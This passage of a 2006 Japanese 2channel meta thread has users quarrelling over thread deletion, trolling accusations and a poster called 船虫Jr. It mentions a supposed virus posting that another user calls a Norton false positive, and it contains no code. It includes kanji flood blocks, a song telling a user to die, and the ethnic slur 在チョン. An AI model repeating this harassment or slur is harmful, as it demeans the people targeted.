欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


259 :日出づる処の名無し:2006/04/11(火) 22:01:42 ID:c2DVkCaC
見っ直そう〜 見直そう

 (⌒) .(⌒)   (⌒) .(⌒)   (⌒) .(⌒)  
 ( ´・●・)つ ( ´・●・)つ ( ´・●・)つ
 ( 二つ    ( 二つ    ( 二つ
  \./ /、    \./ /、    \./ /、
    ∪`J      ∪`J      ∪`J

 糞船虫の糞スレを見直そう みんなで一緒に見直そう (サァ)
 く、そ船虫 糞船虫

\\ シャバダバダバダバダバダバー    //
  \\ シャバダバダバダバダバダバー //

   (⌒) .(⌒)   (⌒) .(⌒)   (⌒) .(⌒)  
   ( ´・д・.】)  ( ´・д・.】)  ( ´・∀・.】)<あ、もしもし船虫の糞スレの件なんですが
   (     ノ  (     ノ  (     ノ

   

          ♪電話ピポパポ 害虫フナムシ氏んじまえ♪


260 :日出づる処の名無し:2006/04/13(木) 12:06:33 ID:1hW29mVM
【民族優秀性】日本>韓国>>北海道 スレにウイルスコードが貼られた模様でつ。

261 :船虫Jr ◆.Tg2yBtH66 :2006/04/13(木) 15:56:22 ID:eKNV1WSs
>>260
2ch規制議論
http://qb5.2ch.net/sec2chd/

asia:ニュース極東[レス削除]
http://qb5.2ch.net/test/read.cgi/saku/1027493276/l50

↑このへんに報告してくれ
あと、>>20-21みたいな対処法を貼るもよし

262 :日出づる処の名無し:2006/04/13(木) 16:54:09 ID:cW1H9P01
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


263 :同期の桜@極東 ◆DoukiJieKQ :2006/04/13(木) 21:41:04 ID:npMBYZOc
>>260
それはノートン先生の誤反応ですな。
実際にウィルスが貼られたわけではありませぬ。
↓この辺見て対応してくださいー。

ノートントラップ
ttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap

2ちゃんねる見ていたらvbsウィルスが検出された!
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq12

2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか?
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08



264 :船虫Jr ◆.Tg2yBtH66 :2006/04/14(金) 19:29:16 ID:r86NyoZC
なんか、自治スレを削除要請したヤツ(バク)のお仲間(同期の桜@極東 ◆DoukiJieKQ)が
自治スレで自治話してるようだが。

これはいったいどういうことかな?

とりあえず、バクの削除判断(>>145 なんか)が妥当だと思ってるのかどうか答えてみ?
それとも、削除すべきスレで自治話を続ける気?

ちなみに、ちょうど似たようなことで、削除人が「スレ削除はお門違い」と言ってるわけだが。
http://qb5.2ch.net/test/read.cgi/saku/1085400725/523
おまえら、バクが言うように(>>67)、意見が一致していて、共に運営に従うってんだろ?

265 :日出づる処の名無し:2006/04/14(金) 21:40:42 ID:IXMI6Kw5
あほくさ

266 :日出づる処の名無し:2006/04/14(金) 21:43:50 ID:IXMI6Kw5
所詮節足動物か

267 :日出づる処の名無し:2006/04/14(金) 23:26:33 ID:qrQ7p+bj
ゴキブリですら学習能力があるそうだよ

268 :日出づる処の名無し:2006/04/15(土) 06:33:20 ID:sUZsy5aT
asia:ニュース極東[スレッド削除]
http://qb5.2ch.net/test/read.cgi/saku/1085400725/519
より一部抜粋

> ttp://tmp6.2ch.net/test/read.cgi/asia/1142521940/ >>515 
> 自治スレですから残し。自治スレ住民は荒らし耐性が強くないと。 

え〜、この文から逝くと、船虫って言うコテは運営側である「削除人」から
荒し認定されている訳やが・・・w


船虫って自爆野郎やな。

バクとか言う香具師の作戦勝ちかもな。




269 :日出づる処の名無し:2006/04/15(土) 06:35:15 ID:b/frplx9
あっ、ほんとだw

270 :船虫Jr ◆.Tg2yBtH66 :2006/04/15(土) 19:13:17 ID:M5Rq3CIe
>>268
いつもの拡大解釈だね。

バク:「荒らしてる(迷惑なカキコミしてる)ヤツがいるから、スレ削除しろ」
削除人:「却下。自治スレ住民は荒らし耐性が強くないと」
     (そもそも、荒らしを理由に削除しないという方針なんだから、
     本当に荒らしがあったかなど判断するまでもなく、却下できる)
おまえ:「船虫が荒らし認定された。バクの作戦勝ち」

まあ、おまえらがやりそうなこじ付け作戦。
というか、こんなアホなこじ付けで議論が拡散していったのが、このスレの実体なんだが。

「自治スレ住民は荒らし耐性が強くないと」←これは一般論。泣き言を言ってる者に対しては、現状認定せずに使用可。

A:「○○スレを荒らしてるヤツ(B)がいて困ってる。スレ削除しろ」
削除人:「お門違い。荒らしで困ってるなんて泣き言を“スレ削除スレ”に言うな(これも一般論)、ボケ!」
A:「Bは荒らし認定された!作戦勝ち!(大喜び)」

こんなんじゃ誰でも荒らし認定されちまうじゃん。
オレを荒らし認定したかったら、それこそ、>>261のようにやってみ。

271 :日出づる処の名無し:2006/04/15(土) 19:14:59 ID:5CxiBP1E
お前らモテたいのだろ! オンナにモテたければ左派から学ぶべし!!!
http://academy4.2ch.net/test/read.cgi/sociology/1144837071/l50
お前らモテたいのだろ! オンナにモテたければ左派から学ぶべし!!!
http://academy4.2ch.net/test/read.cgi/sociology/1144837071/l50
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お前らモテたいのだろ! オンナにモテたければ左派から学ぶべし!!!
http://academy4.2ch.net/test/read.cgi/sociology/1144837071/l50


272 :船虫Jr ◆.Tg2yBtH66 :2006/04/18(火) 18:33:35 ID:ARn+z4Mf
ウヨ的傾向を持つ 同期の桜@極東 ◆DoukiJieKQ 達が極東板で馴れ合い雑談をやりたがってるように、
サヨ的傾向を持つヤツらも馴れ合い雑談をやりたがってることが分かった。
前者は知っての通り、「極東板雑談スレ」でその目的を果たしてるが、
後者はその居場所がない。

さてどうしたもんか?

1、「極東板雑談スレという領土(ニッチ)を巡って領土紛争をする」
2、「極東板雑談スレでウヨサヨ仲良くする」
3、「極東板雑談スレをウヨサヨ二つに分ける」
4、「これ以外の解決法を含め、自然に解決するか、様子を見る」

まあ、とりあえず4かな。

273 :長門 ◆TKvGRWJVxM :2006/04/18(火) 18:52:15 ID:/GU29k6T
2と3の併用でいい。
例えばケザワ君と李は左だが俺なんかは右。
でも、俺たちと君とは相いれないじゃないか。そしたら君は別スレを立てればいい。
住み分けた方がうまくいくと思うよ

274 :船虫Jr ◆.Tg2yBtH66 :2006/04/18(火) 19:11:12 ID:ARn+z4Mf
>>273
>例えばケザワ君と李は左だが俺なんかは右。

オレが言ってるウヨサヨは対立関係があることを示す便宜的なもんで、
みんなサヨだと言うつもりはない。「ウヨサヨという分別は不適切」でいいよ。

>そしたら君は別スレを立てればいい。

オレはいらないよ。
というか、2が可能なのか?
まあ、やってみて、合わないと思うヤツらが別スレ立てるってのでもいいよ。
で、その時、極東板雑談スレという公的ニッチを分けてもらえ。
そうしないと、私的なスレってことで削除されかねない。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/311-315

275 :日出づる処の名無し:2006/04/19(水) 21:34:25 ID:YhPGyhiP
船虫は在チョン

276 :船虫Jr ◆.Tg2yBtH66 :2006/04/23(日) 22:56:36 ID:fXdhvUv/
竹島スレが乱立してる件

277 :日出づる処の名無し:2006/04/23(日) 23:01:29 ID:C4rfeF9q
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


278 :日出づる処の名無し:2006/04/28(金) 13:23:36 ID:uTPr0AZb
1 ◆85KgNR48dA

というバカがずっと暴れている。

思想良心に関係なく板負荷を掛けるだけなのでそろそろ処罰が必要かと

279 : :2006/04/29(土) 12:30:21 ID:xo1tFDRv
>>278
どこのスレ?

280 :日出づる処の名無し:2006/04/29(土) 18:26:50 ID:u5rDFaBa
ちょっと質問なんですけど、板の最初に表示される看板って、どこで募集してるんですか?

281 :同期の桜@極東 ◆DoukiJieKQ :2006/04/29(土) 18:35:28 ID:HFxczOs5
>>280
ここ↓見てくださいー

【バナー】創作物@極東作りませんか? 11【FLASH】
http://tmp6.2ch.net/test/read.cgi/asia/1138553631/

特にレス番3のあたり

282 :日出づる処の名無し:2006/04/29(土) 18:48:45 ID:N7u5RbI0
>>279
日の丸、君が代、愛国心=敵国心→戦争2 などです。

283 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 02:08:16 ID:ZO4A9I1B
>>278>>282
ぜんぜん良スレじゃん。

>思想良心に関係なく板負荷を掛けるだけなのでそろそろ処罰が必要かと

そもそも「思想良心に関係なく板負荷を掛けるだけ」なんてのが支離滅裂。
荒らし認定するにもレス削除要請するにしても、ルール違反であること、
あるいは、一般的な道徳違反であることを示さなきゃダメだろ?
コピペ連投でもないものをどうやって不当(違反)認定するんだ?思想良心に関係なく?

「思想良心に関係なく」などと言えば、
思想バリバリに無意味認定したのが誤魔化せるとでも思ってるのか?

284 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 02:11:52 ID:ZO4A9I1B
>>281 名前: 同期の桜@極東 ◆DoukiJieKQ
そんなことより、毛軍団と話し合えよ(>>272-273)。
おまえのことだから、状況把握してんだろ?
もたもたしてっと、オレが介入するぞ?

285 :日出づる処の名無し:2006/05/01(月) 02:19:13 ID:XnK439vO
>>283-284
ごまかしてもムダです
コピペ連投ですから一般的道徳違反ですねw

286 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 02:24:17 ID:ZO4A9I1B
>>285
だったら示してくれ。
少なくとも一見してそれと分かるシロモノじゃない。

287 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 02:27:20 ID:ZO4A9I1B
つーか

http://tmp6.2ch.net/test/read.cgi/asia/1146364640/260名前: 日出づる処の名無し投稿日: 2006/05/01(月) 02:23:48 ID:XnK439vO
>そろそろ砲撃開始ですね

何これ?↑
おまえの方が荒らしなんじゃねーの?

288 :日出づる処の名無し:2006/05/01(月) 02:29:00 ID:0hiZlapo
船虫にいわれてもなんの説得力もない

289 :日出づる処の名無し:2006/05/01(月) 02:33:12 ID:XnK439vO
見りゃ分かるだろ?
このバカ一人で何レス使ってると思うんだ。

いきなりヘンなスレ立てて10レス以上長文たれ流すなんてのが良スレだあ?
お前の思想に合ってるから良スレって言ってるだけだろww
これを保守というか右側がやったところで、同じように罵倒されるぞ。

これやられると、需要も何も無いのに一人だけでスレ存続許すようなことになりかねないし






290 :日出づる処の名無し:2006/05/01(月) 02:36:53 ID:xjthIvMB
たしかに一スレ程度ならまだ許せるがけどそれで三レス目か…

291 :日出づる処の名無し:2006/05/01(月) 02:37:41 ID:xjthIvMB
三スレ目だな

292 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 02:47:18 ID:ZO4A9I1B
>>289
>見りゃ分かるだろ?

アホか。具体的なレスも示さずに、「見りゃわかる」で通じるわけねーだろが。
せめて、

☆ 削除依頼の質問&注意 ☆9
http://qb5.2ch.net/test/read.cgi/saku/1135700789/l50

↑これに準じたモノを出せ。
おまえのデンパで通じ合えるデンパ人間だけで処理しようとするな。

>これを保守というか右側がやったところで、同じように罵倒されるぞ。

ちなみにオレが昔良スレ認定した

【国是】栄誉ある孤立化主義【鎖国】<[>
http://tmp6.2ch.net/test/read.cgi/asia/1138436970/l50

↑これだって同じようなもの。
一人で何レスも使ってるが、別に罵倒される謂われはない。
内容は「保守というか右側」だぞ?

>>290
そんなのVIPなんかじゃ当たり前。
だいたい、何で「レスの多さ=荒らし」なんだ?

293 :日出づる処の名無し:2006/05/01(月) 02:49:46 ID:ErvYhr2d
答えに窮しただけだろ。

合いの手だよ。

294 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 02:52:19 ID:ZO4A9I1B
つーか、飽きたとか、攻撃開始なんて言ってるのはおまえ(ID:XnK439vO)だけで、
他の多くは普通に議論してんじゃん。
http://tmp6.2ch.net/test/read.cgi/asia/1146364640/260-

>>293
意味分からん。
「ID:XnK439vOが反論に窮して荒らしに走った」ってんなら分からないでもないが。


295 :日出づる処の名無し:2006/05/01(月) 02:53:24 ID:ErvYhr2d
おまいは、華麗にスルーという言葉を知らんのかと。

296 :日出づる処の名無し:2006/05/01(月) 02:54:11 ID:XnK439vO
>>292
VIPと同じように極東使われても困りますね
勘違いしないでくださいね。

>>292
需要があればいいですよ?

まあいきなり誰かもわからないような人間が10レス以上も長文貼り付けて
それをすごい頭のいい人間だと思う人がたくさんいれば話は別ですが・・・

297 :日出づる処の名無し:2006/05/01(月) 02:55:28 ID:XnK439vO
>>294

君、最初から見てる?
同じ内容書かれてるだけだぞ

298 :日出づる処の名無し:2006/05/01(月) 03:00:44 ID:+GtkRqcy
船虫はあの人が最初から放置されてるのも分かってないようすね

299 :日出づる処の名無し:2006/05/01(月) 03:10:28 ID:XnK439vO
確かにあの人、俺ニュース的でサヨク側の擁護もなかったので
VIPに誘導したらしいんだけど戻ってきたらしいんす。

サヨク側の擁護すらない。
つまり一人だけの俺語りを延々と続けてるだけなんですよ。コピペ含めて。
多少でも賛同者がいてそれで協力してるのなら話は別ですけどそれも一切無いと。

ここは個人の哲学を語る板では無いんで。


300 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 15:08:51 ID:ZO4A9I1B
>>297
>君、最初から見てる?

おまえさー。
興味もないし、当事者でもないのに最初から読むわけねーだろ?
つーか、おまえ言ってることが支離滅裂。
ここ自治スレは「みんなで議論する場所」。
その「みんな」には、「興味もないし、当事者でもない者」も当然含まれる。
そんな「興味もないし、当事者でもないのに、わざわざ読むヤツ」って何だ?
そんなの無意味を無意味だと思えないような、まったく奇特なヤツだろ?
おまえはさー。
無意味を無意味だと思えないヤツに、「これは無意味だ」と言ってるんだぞ?
おかしいと思わんか?

301 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 15:09:34 ID:ZO4A9I1B
この際だから、整理して言うが、まず、

http://qb5.2ch.net/test/read.cgi/saku/1135700789/5
>■依頼の理由についての注意
> ・「2chの為」「2chが危ない」は大きなお世話です。
ということからも分かるように、おまえらもオレも2ch側の人間ではなく、
「板負荷を掛けるだけ」なんてのはお門違い。
この自治(スレ)とは賃貸マンションの自治会みたいなもの。
住人の利益を大義として、あれこれ議論する場所。
しかし、だからといって、主観的な主張が通る場所でもない。
「みんな」で話し合うんだから、誰も納得するような客観的な議論じゃないとダメなわけ。
この点も
http://qb5.2ch.net/test/read.cgi/saku/1135700789/5
>■依頼の理由についての注意
>  ・ウザい、不愉快、嫌い、など主観的理由は却下です。
と同じ。

おまえの「見れば分かる」なんてのは、
「全てのカラスは黒い。オレは全てのカラスについて調べた」
と同じようなもので、「オレと同じように全て調べればいい」なんて
言っても、客観的な主張にならないわけ。
単におまえを信用するヤツは信じるし、そうでないヤツは信じない
それだけの話。
こんなんで自治議論になるわけねーだろ?

オレの>>2-6のような長文を書けとは言わないが、
せめて、削除要請スレ程度の具体論をしろって。
「レス番指摘」と「理由」くらい書け。

302 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 15:11:14 ID:ZO4A9I1B
>>295
>おまいは、華麗にスルーという言葉を知らんのかと。

だから、誰もが一意的分かるようにハッキリ書け。
「スレ立て1」で、通常は主役になってるはずのヤツが、どうしてスルーなのか?
こんなの「おまえを信用するヤツは信じるし、そうでないヤツは信じない。それだけの話」じゃんか。
デンパ仲間にしか通じないようなレスこそ不要。

>>298
>船虫はあの人が最初から放置されてるのも分かってないようすね

これも同じ。何でオレがスレを最初から読んでるなどと期待するわけ?

303 :船虫Jr ◆.Tg2yBtH66 :2006/05/01(月) 15:11:53 ID:ZO4A9I1B
>>296
>VIPと同じように極東使われても困りますね

何で?
おまえは根拠の提示もなく「一日で三スレも消費するのは不当」と言い張る。
しかし、明らかな例外がある(VIP)。
少なくとも、一般論としては否定されてる状況じゃん。
単に「一日で三スレも消費するのは不当」と言っても通用しない状況なわけ。
だから、何かこの否定状況から脱する事情、つまり、極東独自の事情があるなら、
それを提示しろっての。
少なくともオレは「一日で三スレも消費するのは不当」なんて
極東でも聞いたこともない。

>需要があればいいですよ?

これも意味不明だが、スレの需要じゃなく、レスの需要ってことか?
(だったら、そうハッキリ言えよ)
しかし、そんなもん、どうやって第三者的(客観的)に判定すんだ?
そもそも、AAや同じ文字列の繰り返しでもないのに、
どういう理屈で不当だと主張する?

304 :日出づる処の名無し:2006/05/01(月) 18:49:31 ID:NC+/J+Tz
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
